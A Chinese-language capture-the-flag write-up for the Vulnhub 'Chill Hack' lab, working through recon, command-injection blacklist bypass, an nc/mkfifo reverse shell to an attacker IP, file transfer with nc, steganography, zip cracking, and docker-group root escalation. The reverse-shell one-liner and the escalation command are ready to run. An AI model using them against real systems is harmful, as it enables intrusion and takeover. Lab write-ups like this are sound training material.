[靶場實戰]Vulnhub-Chill_Hack Writeup實戰思路
靶場下載地址https://www。vulnhub。com/entry/chill-hack-1,622/
廢話不多說 直接開始
第一步使用kali掃描內網IP
Arp-scan –l
獲得靶場IP為192。168。72。132
對靶場進行埠掃描
Nmap –A –v 192。168。72。132
發現存在21 22 80三個埠
21埠存在匿名訪問 咱們先訪問看看
ftp 192。168。72。132
使用者名稱使用anonymous 密碼為空
成功登陸
檢視有什麼檔案
發現存在一個txt檔案 我們檢視一下
使用get下載到本地然後開啟檢視
嗯…好像也沒什麼用
我們還是先看看80埠的Web服務吧
看上去像是一個體育比賽的官網?
掃描一下目錄
發現了一個有趣的URL http://192。168。72。132/secret/index。php
可以執行命令
OK 突破口應該就在這裡了
當我輸入ls想檢視一下當前目錄檔案的時候
這時我想起來我們那個note。txt檔案裡的話是什麼意思
證明這裡有過濾 就是不知道是白名單還是黑名單了
經過我大量測試 該靶場為黑名單驗證
那就好辦了 繞過吧
出去吃了個飯 回來突然來了思路
將兩個指令結合起來 不就成了嗎
例如 ls會被攔截
那就 whoami;ls
成功執行 我可真是個小機靈
將該方法和NC反彈一結合 不就拿到shell了?
經過大量測試 發現可用的反彈語句為
dir;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192。168。72。130 7777 > /tmp/f
本機監聽 nc –lvp 7777
執行 成功拿到一個shell
該shell許可權還是較低 並且操作非常不便利 咱們要想辦法提權
查詢python版本
Which python
成功確認python版本為python3
使用python3將shell進行提升
python3 -c ‘import pty;pty。spawn(“/bin/bash”)’
成功
該命令不會對電腦有什麼危害 但偶爾會有奇效
在這個資料夾下 這個hacker。php引起了我的注意 檢視一下吧
在黑暗中我會看到答案?真就人均謎語人唄
在hacker。php中 我們看到images資料夾中有一張圖片 應該就是線索所在
咱們進入images資料夾
OK 咱們把這張圖片用nc下載下來 也可以用python3開啟http服務進行下載 不過我圖省事兒 就nc了吧
本地電腦執行 nc –nvlp 4444 > hacker-with-laptop_23-2147985341。jpg
咱們保持原名不動
Shell裡執行 nc 192。168。72。130 4444 -w 4 < hacker-with-laptop_23-2147985341。jpg
OK 稍等一會兒 成功下載下來
根據hacker。php中的提示 在黑暗中我們會看到答案 這不就是妥妥的圖片隱寫嗎 不愧是我 最近的柯南沒白看
使用steghide檢視
果然存在一個名為backup。zip的壓縮包 不愧是我
依然使用steghide進行解壓
OK 得到了這個名為backup。zip的壓縮包檔案
我們現在將他解壓縮
我丟啊 這裡來個密碼 成吧 再找
找?找是不可能找的 就咱這暴脾氣 爆他!
使用zip2johb生成了一個backup。john檔案
咱們使用john爆他
OK 完成
咱們使用john檢視密碼
密碼為pass1word 行吧 經典弱口令
接下來咱們解壓檔案
成功解壓出來
檢視解壓出來的檔案
好傢伙 還有個base64編碼 解密吧
返回我們的shell 檢視一下使用者
使用我們得到的密碼登入進使用者anurodh
成功登入
確認賬戶密碼沒問題了 這時候咱們就要用到一開始掃描出的22埠了
畢竟shell是不穩定的 使用ssh服務登入吧
成功登入 有一個穩定的許可權的感覺太爽了
這時候肯定就是提權了是吧
直接使用經典的sudo su
失敗了 嗯… 情理之中 意料之外
使用sudo –l檢視sudo的許可權 發現apaar可以提權?那就造他
檢視apaar資料夾下的檔案
發現apaar下有個txt檔案 但由於許可權檔案我們無法訪問
但上述提到了 apaar下有個sh指令碼我們可以執行 那就執行它
它需要一個名字 咱們隨便輸入即可
執行完畢了 但我不知道它有效果
那就閱讀一下吧
這個批處理 有點意思啊 似乎可以命令執行
嘗試成功 有點意思
既然我們沒有許可權讀取local。txt檔案 那就讓apaar來讀取吧
啊這 我還以為是什麼提權的東西呢 結果你告訴我 這就是個flag?
那也行吧 flag1 get {USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
OK 咱們繼續找其他方法提權吧
輸入id檢視許可權
嗯?docker?要素察覺
我們使用一些提權輔助工具https://gtfobins。github。io/ 在裡面搜搜docker
使用此命令即可提權docker run -v /:/mnt ——rm -it alpine chroot /mnt sh
提權成功
進入root目錄 拿到最後一個flag
Flag2 get {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
總結語:怎麼說呢,這個靶場還是挺有意思的。我起初以為就是簡單的一個命令執行getshell以後一個指令碼提權就拿下了。沒想到還有這麼多步驟,挺嚴謹的吧